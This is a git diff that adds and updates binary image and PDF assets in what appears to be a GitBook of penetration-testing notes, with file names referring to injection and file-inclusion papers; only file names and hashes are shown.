diff --git a/.gitbook/assets/1 u1jdRYuWAEVwJmf_F2ttJg.png b/.gitbook/assets/1 u1jdRYuWAEVwJmf_F2ttJg.png new file mode 100644 index 00000000..02577ce0 Binary files /dev/null and b/.gitbook/assets/1 u1jdRYuWAEVwJmf_F2ttJg.png differ diff --git a/.gitbook/assets/1.png b/.gitbook/assets/1.png new file mode 100644 index 00000000..d22b32a6 Binary files /dev/null and b/.gitbook/assets/1.png differ diff --git a/.gitbook/assets/1_6QC-aGcJYZWMf8rgNVR_eg.png b/.gitbook/assets/1_6QC-aGcJYZWMf8rgNVR_eg.png new file mode 100644 index 00000000..5959de32 Binary files /dev/null and b/.gitbook/assets/1_6QC-aGcJYZWMf8rgNVR_eg.png differ diff --git a/.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png b/.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png new file mode 100644 index 00000000..aea4b23c Binary files /dev/null and b/.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png differ diff --git a/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1).png b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1).png new file mode 100644 index 00000000..4c4968b4 Binary files /dev/null and b/.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1).png differ diff --git a/.gitbook/assets/B2.png b/.gitbook/assets/B2.png new file mode 100644 index 00000000..e6a65f81 Binary files /dev/null and b/.gitbook/assets/B2.png differ diff --git a/.gitbook/assets/B3.png b/.gitbook/assets/B3.png new file mode 100644 index 00000000..b03da63d Binary files /dev/null and b/.gitbook/assets/B3.png differ diff --git a/.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf b/.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf new file mode 100644 index 00000000..d152ec3a Binary files /dev/null and b/.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf differ diff --git a/.gitbook/assets/CTX_WSUSpect_White_Paper.pdf b/.gitbook/assets/CTX_WSUSpect_White_Paper.pdf new file mode 100644 index 00000000..d152ec3a Binary files /dev/null and b/.gitbook/assets/CTX_WSUSpect_White_Paper.pdf differ diff --git a/.gitbook/assets/EKi5edAUUAAIPIK.jpg b/.gitbook/assets/EKi5edAUUAAIPIK.jpg new file mode 100644 index 00000000..24c786eb Binary files /dev/null and b/.gitbook/assets/EKi5edAUUAAIPIK.jpg differ diff --git a/.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf b/.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf new file mode 100644 index 00000000..a58ea246 Binary files /dev/null and b/.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf differ diff --git a/.gitbook/assets/EN-Local-File-Inclusion-1.pdf b/.gitbook/assets/EN-Local-File-Inclusion-1.pdf new file mode 100644 index 00000000..588a75f7 Binary files /dev/null and b/.gitbook/assets/EN-Local-File-Inclusion-1.pdf differ diff --git a/.gitbook/assets/EN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf b/.gitbook/assets/EN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf new file mode 100644 index 00000000..3b49b5d5 Binary files /dev/null and b/.gitbook/assets/EN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf differ diff --git a/.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf b/.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf new file mode 100644 index 00000000..f69e6346 Binary files /dev/null and b/.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf differ diff --git a/.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP.pdf b/.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP.pdf new file mode 100644 index 00000000..f69e6346 Binary files /dev/null and b/.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP.pdf differ diff --git a/.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf b/.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf new file mode 100644 index 00000000..9eacd655 Binary files /dev/null and b/.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf differ diff --git a/.gitbook/assets/EauBb2EX0AERaNK.jpg b/.gitbook/assets/EauBb2EX0AERaNK.jpg new file mode 100644 index 00000000..dabf9038 Binary files /dev/null and b/.gitbook/assets/EauBb2EX0AERaNK.jpg differ diff --git a/.gitbook/assets/INE_Logo (1).jpg b/.gitbook/assets/INE_Logo (1).jpg new file mode 100644 index 00000000..4d978faa Binary files /dev/null and b/.gitbook/assets/INE_Logo (1).jpg differ diff --git a/.gitbook/assets/INE_Logo (2).jpg b/.gitbook/assets/INE_Logo (2).jpg new file mode 100644 index 00000000..65368fd3 Binary files /dev/null and b/.gitbook/assets/INE_Logo (2).jpg differ diff --git a/.gitbook/assets/INE_Logo (3).jpg b/.gitbook/assets/INE_Logo (3).jpg new file mode 100644 index 00000000..7b3d4c33 Binary files /dev/null and b/.gitbook/assets/INE_Logo (3).jpg differ diff --git a/.gitbook/assets/INE_Logo.jpg b/.gitbook/assets/INE_Logo.jpg new file mode 100644 index 00000000..9f6a05da Binary files /dev/null and b/.gitbook/assets/INE_Logo.jpg differ diff --git a/.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf b/.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf new file mode 100644 index 00000000..3525b48e Binary files /dev/null and b/.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf differ diff --git a/.gitbook/assets/RAM.png b/.gitbook/assets/RAM.png new file mode 100644 index 00000000..45b944ca Binary files /dev/null and b/.gitbook/assets/RAM.png differ diff --git a/.gitbook/assets/Reverse.tar.gz b/.gitbook/assets/Reverse.tar.gz new file mode 100644 index 00000000..3d8a6320 Binary files /dev/null and b/.gitbook/assets/Reverse.tar.gz differ diff --git a/.gitbook/assets/SNMP_OID_MIB_Tree.png b/.gitbook/assets/SNMP_OID_MIB_Tree.png new file mode 100644 index 00000000..59fede67 Binary files /dev/null and b/.gitbook/assets/SNMP_OID_MIB_Tree.png differ diff --git a/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png b/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png new file mode 100644 index 00000000..eb261aac Binary files /dev/null and b/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png differ diff --git a/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png b/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png new file mode 100644 index 00000000..937d40ce Binary files /dev/null and b/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png differ diff --git a/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (3).png b/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (3).png new file mode 100644 index 00000000..f63efe61 Binary files /dev/null and b/.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (3).png differ diff --git a/.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png b/.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png new file mode 100644 index 00000000..e919aae5 Binary files /dev/null and b/.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png differ diff --git a/.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png b/.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png new file mode 100644 index 00000000..ef27f6ec Binary files /dev/null and b/.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png differ diff --git a/.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png b/.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png new file mode 100644 index 00000000..eef99275 Binary files /dev/null and b/.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png differ diff --git a/.gitbook/assets/Screenshot from 2021-03-13 18-22-57.png b/.gitbook/assets/Screenshot from 2021-03-13 18-22-57.png new file mode 100644 index 00000000..722d3219 Binary files /dev/null and b/.gitbook/assets/Screenshot from 2021-03-13 18-22-57.png differ diff --git a/.gitbook/assets/Screenshot from 2021-03-13 18-26-27.png b/.gitbook/assets/Screenshot from 2021-03-13 18-26-27.png new file mode 100644 index 00000000..44a446c6 Binary files /dev/null and b/.gitbook/assets/Screenshot from 2021-03-13 18-26-27.png differ diff --git a/.gitbook/assets/id-and-ObjectIds-in-MongoDB.png b/.gitbook/assets/id-and-ObjectIds-in-MongoDB.png new file mode 100644 index 00000000..9b8348bf Binary files /dev/null and b/.gitbook/assets/id-and-ObjectIds-in-MongoDB.png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index d0d8fd1c..97bc5bee 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (10).png b/.gitbook/assets/image (10).png index 169a0842..d3370cd6 100644 Binary files a/.gitbook/assets/image (10).png and b/.gitbook/assets/image (10).png differ diff --git a/.gitbook/assets/image (100).png b/.gitbook/assets/image (100).png index 85f294a5..ab5d833d 100644 Binary files a/.gitbook/assets/image (100).png and b/.gitbook/assets/image (100).png differ diff --git a/.gitbook/assets/image (101).png b/.gitbook/assets/image (101).png index ad148394..6df70811 100644 Binary files a/.gitbook/assets/image (101).png and b/.gitbook/assets/image (101).png differ diff --git a/.gitbook/assets/image (102).png b/.gitbook/assets/image (102).png index 63675cea..87fc7bee 100644 Binary files a/.gitbook/assets/image (102).png and b/.gitbook/assets/image (102).png differ diff --git a/.gitbook/assets/image (103).png b/.gitbook/assets/image (103).png index 1493a89e..f6954fe2 100644 Binary files a/.gitbook/assets/image (103).png and b/.gitbook/assets/image (103).png differ diff --git a/.gitbook/assets/image (104).png b/.gitbook/assets/image (104).png index 5dc69a4e..530b2464 100644 Binary files a/.gitbook/assets/image (104).png and b/.gitbook/assets/image (104).png differ diff --git a/.gitbook/assets/image (105).png b/.gitbook/assets/image (105).png index a2f6967a..16db588f 100644 Binary files a/.gitbook/assets/image (105).png and b/.gitbook/assets/image (105).png differ diff --git a/.gitbook/assets/image (106).png b/.gitbook/assets/image (106).png index eaefc365..e8aabc7a 100644 Binary files a/.gitbook/assets/image (106).png and b/.gitbook/assets/image (106).png differ diff --git a/.gitbook/assets/image (107).png b/.gitbook/assets/image (107).png index 7fe61abd..8f1f2230 100644 Binary files a/.gitbook/assets/image (107).png and b/.gitbook/assets/image (107).png differ diff --git a/.gitbook/assets/image (108).png b/.gitbook/assets/image (108).png index 139d4b08..10d38e59 100644 Binary files a/.gitbook/assets/image (108).png and b/.gitbook/assets/image (108).png differ diff --git a/.gitbook/assets/image (109).png b/.gitbook/assets/image (109).png index 94ac7e19..7860c4f4 100644 Binary files a/.gitbook/assets/image (109).png and b/.gitbook/assets/image (109).png differ diff --git a/.gitbook/assets/image (11).png b/.gitbook/assets/image (11).png index f071911a..78cc16af 100644 Binary files a/.gitbook/assets/image (11).png and b/.gitbook/assets/image (11).png differ diff --git a/.gitbook/assets/image (110).png b/.gitbook/assets/image (110).png index 9fe1e166..ed2eac53 100644 Binary files a/.gitbook/assets/image (110).png and b/.gitbook/assets/image (110).png differ diff --git a/.gitbook/assets/image (111).png b/.gitbook/assets/image (111).png index db465b8e..743a0e18 100644 Binary files a/.gitbook/assets/image (111).png and b/.gitbook/assets/image (111).png differ diff --git a/.gitbook/assets/image (112).png b/.gitbook/assets/image (112).png index 6df70811..1f096e1e 100644 Binary files a/.gitbook/assets/image (112).png and b/.gitbook/assets/image (112).png differ diff --git a/.gitbook/assets/image (113).png b/.gitbook/assets/image (113).png index 2f8a8d54..57fb0fd5 100644 Binary files a/.gitbook/assets/image (113).png and b/.gitbook/assets/image (113).png differ diff --git a/.gitbook/assets/image (114).png b/.gitbook/assets/image (114).png index add6a58e..a452e6ad 100644 Binary files a/.gitbook/assets/image (114).png and b/.gitbook/assets/image (114).png differ diff --git a/.gitbook/assets/image (115).png b/.gitbook/assets/image (115).png index 75bf9094..0426dbd4 100644 Binary files a/.gitbook/assets/image (115).png and b/.gitbook/assets/image (115).png differ diff --git a/.gitbook/assets/image (116).png b/.gitbook/assets/image (116).png index 0f8af75b..7bc9d373 100644 Binary files a/.gitbook/assets/image (116).png and b/.gitbook/assets/image (116).png differ diff --git a/.gitbook/assets/image (117).png b/.gitbook/assets/image (117).png index c71025f8..7d99c336 100644 Binary files a/.gitbook/assets/image (117).png and b/.gitbook/assets/image (117).png differ diff --git a/.gitbook/assets/image (118).png b/.gitbook/assets/image (118).png index 71005852..afa3c6ed 100644 Binary files a/.gitbook/assets/image (118).png and b/.gitbook/assets/image (118).png differ diff --git a/.gitbook/assets/image (119) (2).png b/.gitbook/assets/image (119) (2).png new file mode 100644 index 00000000..e2f82d4d Binary files /dev/null and b/.gitbook/assets/image (119) (2).png differ diff --git a/.gitbook/assets/image (119).png b/.gitbook/assets/image (119).png index e2f82d4d..b85d58bb 100644 Binary files a/.gitbook/assets/image (119).png and b/.gitbook/assets/image (119).png differ diff --git a/.gitbook/assets/image (12).png b/.gitbook/assets/image (12).png index 26483327..c29de753 100644 Binary files a/.gitbook/assets/image (12).png and b/.gitbook/assets/image (12).png differ diff --git a/.gitbook/assets/image (120).png b/.gitbook/assets/image (120).png index 5766ede1..8766fd1c 100644 Binary files a/.gitbook/assets/image (120).png and b/.gitbook/assets/image (120).png differ diff --git a/.gitbook/assets/image (121).png b/.gitbook/assets/image (121).png index 30666530..17001451 100644 Binary files a/.gitbook/assets/image (121).png and b/.gitbook/assets/image (121).png differ diff --git a/.gitbook/assets/image (122).png b/.gitbook/assets/image (122).png index 78cc16af..addb8bdd 100644 Binary files a/.gitbook/assets/image (122).png and b/.gitbook/assets/image (122).png differ diff --git a/.gitbook/assets/image (123).png b/.gitbook/assets/image (123).png index 53dd523e..5d191ec0 100644 Binary files a/.gitbook/assets/image (123).png and b/.gitbook/assets/image (123).png differ diff --git a/.gitbook/assets/image (124).png b/.gitbook/assets/image (124).png index ceb0a0f9..0cedb9f7 100644 Binary files a/.gitbook/assets/image (124).png and b/.gitbook/assets/image (124).png differ diff --git a/.gitbook/assets/image (125).png b/.gitbook/assets/image (125).png index 34081bf3..91f393f8 100644 Binary files a/.gitbook/assets/image (125).png and b/.gitbook/assets/image (125).png differ diff --git a/.gitbook/assets/image (126).png b/.gitbook/assets/image (126).png index 742df294..c17689b9 100644 Binary files a/.gitbook/assets/image (126).png and b/.gitbook/assets/image (126).png differ diff --git a/.gitbook/assets/image (127).png b/.gitbook/assets/image (127).png index 4f397783..a4ed42fd 100644 Binary files a/.gitbook/assets/image (127).png and b/.gitbook/assets/image (127).png differ diff --git a/.gitbook/assets/image (128).png b/.gitbook/assets/image (128).png index 877c67db..b892f104 100644 Binary files a/.gitbook/assets/image (128).png and b/.gitbook/assets/image (128).png differ diff --git a/.gitbook/assets/image (129).png b/.gitbook/assets/image (129).png index 22f23086..15dc4be8 100644 Binary files a/.gitbook/assets/image (129).png and b/.gitbook/assets/image (129).png differ diff --git a/.gitbook/assets/image (13).png b/.gitbook/assets/image (13).png index 918be96e..c2205b35 100644 Binary files a/.gitbook/assets/image (13).png and b/.gitbook/assets/image (13).png differ diff --git a/.gitbook/assets/image (130).png b/.gitbook/assets/image (130).png index 1bdd5803..47dfb9bc 100644 Binary files a/.gitbook/assets/image (130).png and b/.gitbook/assets/image (130).png differ diff --git a/.gitbook/assets/image (131).png b/.gitbook/assets/image (131).png index d0a42c8a..742df294 100644 Binary files a/.gitbook/assets/image (131).png and b/.gitbook/assets/image (131).png differ diff --git a/.gitbook/assets/image (132).png b/.gitbook/assets/image (132).png index ca253d23..dd27bad6 100644 Binary files a/.gitbook/assets/image (132).png and b/.gitbook/assets/image (132).png differ diff --git a/.gitbook/assets/image (133).png b/.gitbook/assets/image (133).png index c17689b9..b9465118 100644 Binary files a/.gitbook/assets/image (133).png and b/.gitbook/assets/image (133).png differ diff --git a/.gitbook/assets/image (134).png b/.gitbook/assets/image (134).png index d504c55e..87438bb2 100644 Binary files a/.gitbook/assets/image (134).png and b/.gitbook/assets/image (134).png differ diff --git a/.gitbook/assets/image (135).png b/.gitbook/assets/image (135).png index 55ab26cc..54eb3d28 100644 Binary files a/.gitbook/assets/image (135).png and b/.gitbook/assets/image (135).png differ diff --git a/.gitbook/assets/image (136).png b/.gitbook/assets/image (136).png index 6c35b704..2d5dbc90 100644 Binary files a/.gitbook/assets/image (136).png and b/.gitbook/assets/image (136).png differ diff --git a/.gitbook/assets/image (137).png b/.gitbook/assets/image (137).png index 541196b6..a77932b0 100644 Binary files a/.gitbook/assets/image (137).png and b/.gitbook/assets/image (137).png differ diff --git a/.gitbook/assets/image (138).png b/.gitbook/assets/image (138).png index b42b37ed..da4c2d8c 100644 Binary files a/.gitbook/assets/image (138).png and b/.gitbook/assets/image (138).png differ diff --git a/.gitbook/assets/image (139).png b/.gitbook/assets/image (139).png index 0ec1adfc..20e6e569 100644 Binary files a/.gitbook/assets/image (139).png and b/.gitbook/assets/image (139).png differ diff --git a/.gitbook/assets/image (14).png b/.gitbook/assets/image (14).png index 0c184fa5..5edd2e9f 100644 Binary files a/.gitbook/assets/image (14).png and b/.gitbook/assets/image (14).png differ diff --git a/.gitbook/assets/image (140).png b/.gitbook/assets/image (140).png index d92f5e31..12aff705 100644 Binary files a/.gitbook/assets/image (140).png and b/.gitbook/assets/image (140).png differ diff --git a/.gitbook/assets/image (141).png b/.gitbook/assets/image (141).png index 969420a3..fe76944b 100644 Binary files a/.gitbook/assets/image (141).png and b/.gitbook/assets/image (141).png differ diff --git a/.gitbook/assets/image (142).png b/.gitbook/assets/image (142).png index 8e0dc489..d8a16ca3 100644 Binary files a/.gitbook/assets/image (142).png and b/.gitbook/assets/image (142).png differ diff --git a/.gitbook/assets/image (143).png b/.gitbook/assets/image (143).png index 16f00899..c1652e53 100644 Binary files a/.gitbook/assets/image (143).png and b/.gitbook/assets/image (143).png differ diff --git a/.gitbook/assets/image (144).png b/.gitbook/assets/image (144).png index 03e6c6c4..95ac857d 100644 Binary files a/.gitbook/assets/image (144).png and b/.gitbook/assets/image (144).png differ diff --git a/.gitbook/assets/image (145).png b/.gitbook/assets/image (145).png index 20e6e569..17d40aaa 100644 Binary files a/.gitbook/assets/image (145).png and b/.gitbook/assets/image (145).png differ diff --git a/.gitbook/assets/image (146).png b/.gitbook/assets/image (146).png index 8e8243c5..5718cc7e 100644 Binary files a/.gitbook/assets/image (146).png and b/.gitbook/assets/image (146).png differ diff --git a/.gitbook/assets/image (147).png b/.gitbook/assets/image (147).png index 2cf01e2d..787660d1 100644 Binary files a/.gitbook/assets/image (147).png and b/.gitbook/assets/image (147).png differ diff --git a/.gitbook/assets/image (148).png b/.gitbook/assets/image (148).png index c2205b35..09397a63 100644 Binary files a/.gitbook/assets/image (148).png and b/.gitbook/assets/image (148).png differ diff --git a/.gitbook/assets/image (149).png b/.gitbook/assets/image (149).png index 10ec7259..55ab26cc 100644 Binary files a/.gitbook/assets/image (149).png and b/.gitbook/assets/image (149).png differ diff --git a/.gitbook/assets/image (15).png b/.gitbook/assets/image (15).png index 57fb0fd5..ec5a7ae1 100644 Binary files a/.gitbook/assets/image (15).png and b/.gitbook/assets/image (15).png differ diff --git a/.gitbook/assets/image (150).png b/.gitbook/assets/image (150).png index b28be54f..5766ede1 100644 Binary files a/.gitbook/assets/image (150).png and b/.gitbook/assets/image (150).png differ diff --git a/.gitbook/assets/image (151).png b/.gitbook/assets/image (151).png index 816c1111..893b9e4d 100644 Binary files a/.gitbook/assets/image (151).png and b/.gitbook/assets/image (151).png differ diff --git a/.gitbook/assets/image (152).png b/.gitbook/assets/image (152).png index 7234000f..4d34a0da 100644 Binary files a/.gitbook/assets/image (152).png and b/.gitbook/assets/image (152).png differ diff --git a/.gitbook/assets/image (153).png b/.gitbook/assets/image (153).png index f7bf7e3f..c27bd914 100644 Binary files a/.gitbook/assets/image (153).png and b/.gitbook/assets/image (153).png differ diff --git a/.gitbook/assets/image (154).png b/.gitbook/assets/image (154).png index c307d4fc..0cb31458 100644 Binary files a/.gitbook/assets/image (154).png and b/.gitbook/assets/image (154).png differ diff --git a/.gitbook/assets/image (155).png b/.gitbook/assets/image (155).png index d3b3642b..0773caac 100644 Binary files a/.gitbook/assets/image (155).png and b/.gitbook/assets/image (155).png differ diff --git a/.gitbook/assets/image (156).png b/.gitbook/assets/image (156).png index 7e082fa9..c3197c6d 100644 Binary files a/.gitbook/assets/image (156).png and b/.gitbook/assets/image (156).png differ diff --git a/.gitbook/assets/image (157).png b/.gitbook/assets/image (157).png index 10d38e59..cfdae825 100644 Binary files a/.gitbook/assets/image (157).png and b/.gitbook/assets/image (157).png differ diff --git a/.gitbook/assets/image (158).png b/.gitbook/assets/image (158).png index 4e8d2676..f809ea85 100644 Binary files a/.gitbook/assets/image (158).png and b/.gitbook/assets/image (158).png differ diff --git a/.gitbook/assets/image (159).png b/.gitbook/assets/image (159).png index 7093c0a2..8ce264e5 100644 Binary files a/.gitbook/assets/image (159).png and b/.gitbook/assets/image (159).png differ diff --git a/.gitbook/assets/image (16).png b/.gitbook/assets/image (16).png index d8a16ca3..05177f76 100644 Binary files a/.gitbook/assets/image (16).png and b/.gitbook/assets/image (16).png differ diff --git a/.gitbook/assets/image (160).png b/.gitbook/assets/image (160).png index a00022f8..7f76e84c 100644 Binary files a/.gitbook/assets/image (160).png and b/.gitbook/assets/image (160).png differ diff --git a/.gitbook/assets/image (161).png b/.gitbook/assets/image (161).png index 6cbb37b4..d3fce77f 100644 Binary files a/.gitbook/assets/image (161).png and b/.gitbook/assets/image (161).png differ diff --git a/.gitbook/assets/image (162).png b/.gitbook/assets/image (162).png index 0cd3e45f..5186924e 100644 Binary files a/.gitbook/assets/image (162).png and b/.gitbook/assets/image (162).png differ diff --git a/.gitbook/assets/image (163).png b/.gitbook/assets/image (163).png index acf49c4a..0d1d7209 100644 Binary files a/.gitbook/assets/image (163).png and b/.gitbook/assets/image (163).png differ diff --git a/.gitbook/assets/image (164).png b/.gitbook/assets/image (164).png index 0082d175..d3d51f20 100644 Binary files a/.gitbook/assets/image (164).png and b/.gitbook/assets/image (164).png differ diff --git a/.gitbook/assets/image (165).png b/.gitbook/assets/image (165).png index b9465118..816c1111 100644 Binary files a/.gitbook/assets/image (165).png and b/.gitbook/assets/image (165).png differ diff --git a/.gitbook/assets/image (166).png b/.gitbook/assets/image (166).png index db53e0b5..cc0ab38f 100644 Binary files a/.gitbook/assets/image (166).png and b/.gitbook/assets/image (166).png differ diff --git a/.gitbook/assets/image (167).png b/.gitbook/assets/image (167).png index d82da439..0fefef79 100644 Binary files a/.gitbook/assets/image (167).png and b/.gitbook/assets/image (167).png differ diff --git a/.gitbook/assets/image (168).png b/.gitbook/assets/image (168).png index 7d99c336..5211b080 100644 Binary files a/.gitbook/assets/image (168).png and b/.gitbook/assets/image (168).png differ diff --git a/.gitbook/assets/image (169).png b/.gitbook/assets/image (169).png index ab835abd..4b98dfc9 100644 Binary files a/.gitbook/assets/image (169).png and b/.gitbook/assets/image (169).png differ diff --git a/.gitbook/assets/image (17).png b/.gitbook/assets/image (17).png index 7860c4f4..1b412b10 100644 Binary files a/.gitbook/assets/image (17).png and b/.gitbook/assets/image (17).png differ diff --git a/.gitbook/assets/image (170).png b/.gitbook/assets/image (170).png index b85d58bb..5aae0337 100644 Binary files a/.gitbook/assets/image (170).png and b/.gitbook/assets/image (170).png differ diff --git a/.gitbook/assets/image (171).png b/.gitbook/assets/image (171).png index 3829e247..63b4449f 100644 Binary files a/.gitbook/assets/image (171).png and b/.gitbook/assets/image (171).png differ diff --git a/.gitbook/assets/image (172).png b/.gitbook/assets/image (172).png index d9cc3ba4..06900bd5 100644 Binary files a/.gitbook/assets/image (172).png and b/.gitbook/assets/image (172).png differ diff --git a/.gitbook/assets/image (173).png b/.gitbook/assets/image (173).png index 0486c2a5..937cc677 100644 Binary files a/.gitbook/assets/image (173).png and b/.gitbook/assets/image (173).png differ diff --git a/.gitbook/assets/image (174).png b/.gitbook/assets/image (174).png index 6353bf4c..9b4254a1 100644 Binary files a/.gitbook/assets/image (174).png and b/.gitbook/assets/image (174).png differ diff --git a/.gitbook/assets/image (175).png b/.gitbook/assets/image (175).png index c29de753..7ebf7f05 100644 Binary files a/.gitbook/assets/image (175).png and b/.gitbook/assets/image (175).png differ diff --git a/.gitbook/assets/image (176).png b/.gitbook/assets/image (176).png index 05177f76..6a44bdf3 100644 Binary files a/.gitbook/assets/image (176).png and b/.gitbook/assets/image (176).png differ diff --git a/.gitbook/assets/image (177).png b/.gitbook/assets/image (177).png index f59a9496..9b657ceb 100644 Binary files a/.gitbook/assets/image (177).png and b/.gitbook/assets/image (177).png differ diff --git a/.gitbook/assets/image (178).png b/.gitbook/assets/image (178).png index 5c9179c0..f7a3d09a 100644 Binary files a/.gitbook/assets/image (178).png and b/.gitbook/assets/image (178).png differ diff --git a/.gitbook/assets/image (179).png b/.gitbook/assets/image (179).png index 5718cc7e..e9582b39 100644 Binary files a/.gitbook/assets/image (179).png and b/.gitbook/assets/image (179).png differ diff --git a/.gitbook/assets/image (18).png b/.gitbook/assets/image (18).png index 17d40aaa..c475e52f 100644 Binary files a/.gitbook/assets/image (18).png and b/.gitbook/assets/image (18).png differ diff --git a/.gitbook/assets/image (180).png b/.gitbook/assets/image (180).png index a452e6ad..ce8167a9 100644 Binary files a/.gitbook/assets/image (180).png and b/.gitbook/assets/image (180).png differ diff --git a/.gitbook/assets/image (181).png b/.gitbook/assets/image (181).png index a77932b0..2d4bfc62 100644 Binary files a/.gitbook/assets/image (181).png and b/.gitbook/assets/image (181).png differ diff --git a/.gitbook/assets/image (182).png b/.gitbook/assets/image (182).png index 1bd1dc97..e3b2aeec 100644 Binary files a/.gitbook/assets/image (182).png and b/.gitbook/assets/image (182).png differ diff --git a/.gitbook/assets/image (183).png b/.gitbook/assets/image (183).png index 69c184be..6cbb37b4 100644 Binary files a/.gitbook/assets/image (183).png and b/.gitbook/assets/image (183).png differ diff --git a/.gitbook/assets/image (184).png b/.gitbook/assets/image (184).png index 9281c37e..4f397783 100644 Binary files a/.gitbook/assets/image (184).png and b/.gitbook/assets/image (184).png differ diff --git a/.gitbook/assets/image (185).png b/.gitbook/assets/image (185).png index addb8bdd..918be96e 100644 Binary files a/.gitbook/assets/image (185).png and b/.gitbook/assets/image (185).png differ diff --git a/.gitbook/assets/image (186).png b/.gitbook/assets/image (186).png index 87438bb2..e706e5f1 100644 Binary files a/.gitbook/assets/image (186).png and b/.gitbook/assets/image (186).png differ diff --git a/.gitbook/assets/image (187).png b/.gitbook/assets/image (187).png index 51180a6c..37acf9e4 100644 Binary files a/.gitbook/assets/image (187).png and b/.gitbook/assets/image (187).png differ diff --git a/.gitbook/assets/image (188).png b/.gitbook/assets/image (188).png index 12aff705..33653dcb 100644 Binary files a/.gitbook/assets/image (188).png and b/.gitbook/assets/image (188).png differ diff --git a/.gitbook/assets/image (189).png b/.gitbook/assets/image (189).png index 15dc4be8..7e082fa9 100644 Binary files a/.gitbook/assets/image (189).png and b/.gitbook/assets/image (189).png differ diff --git a/.gitbook/assets/image (19).png b/.gitbook/assets/image (19).png index 0d1d7209..ab835abd 100644 Binary files a/.gitbook/assets/image (19).png and b/.gitbook/assets/image (19).png differ diff --git a/.gitbook/assets/image (190).png b/.gitbook/assets/image (190).png index b83608d0..acf49c4a 100644 Binary files a/.gitbook/assets/image (190).png and b/.gitbook/assets/image (190).png differ diff --git a/.gitbook/assets/image (191).png b/.gitbook/assets/image (191).png index ab5d833d..d2bc0531 100644 Binary files a/.gitbook/assets/image (191).png and b/.gitbook/assets/image (191).png differ diff --git a/.gitbook/assets/image (192).png b/.gitbook/assets/image (192).png index 56cd17e0..ad2027c9 100644 Binary files a/.gitbook/assets/image (192).png and b/.gitbook/assets/image (192).png differ diff --git a/.gitbook/assets/image (193).png b/.gitbook/assets/image (193).png index ab178655..3af0780c 100644 Binary files a/.gitbook/assets/image (193).png and b/.gitbook/assets/image (193).png differ diff --git a/.gitbook/assets/image (194).png b/.gitbook/assets/image (194).png index afa3c6ed..f20e8ce2 100644 Binary files a/.gitbook/assets/image (194).png and b/.gitbook/assets/image (194).png differ diff --git a/.gitbook/assets/image (195).png b/.gitbook/assets/image (195).png index e8aabc7a..6046bf9a 100644 Binary files a/.gitbook/assets/image (195).png and b/.gitbook/assets/image (195).png differ diff --git a/.gitbook/assets/image (196).png b/.gitbook/assets/image (196).png index 09612a67..b1c5a1a1 100644 Binary files a/.gitbook/assets/image (196).png and b/.gitbook/assets/image (196).png differ diff --git a/.gitbook/assets/image (197).png b/.gitbook/assets/image (197).png index 72371bfc..9fe1e166 100644 Binary files a/.gitbook/assets/image (197).png and b/.gitbook/assets/image (197).png differ diff --git a/.gitbook/assets/image (198).png b/.gitbook/assets/image (198).png index 2b763e8d..8e0dc489 100644 Binary files a/.gitbook/assets/image (198).png and b/.gitbook/assets/image (198).png differ diff --git a/.gitbook/assets/image (199).png b/.gitbook/assets/image (199).png index eb344f62..deb8d0d3 100644 Binary files a/.gitbook/assets/image (199).png and b/.gitbook/assets/image (199).png differ diff --git a/.gitbook/assets/image (2).png 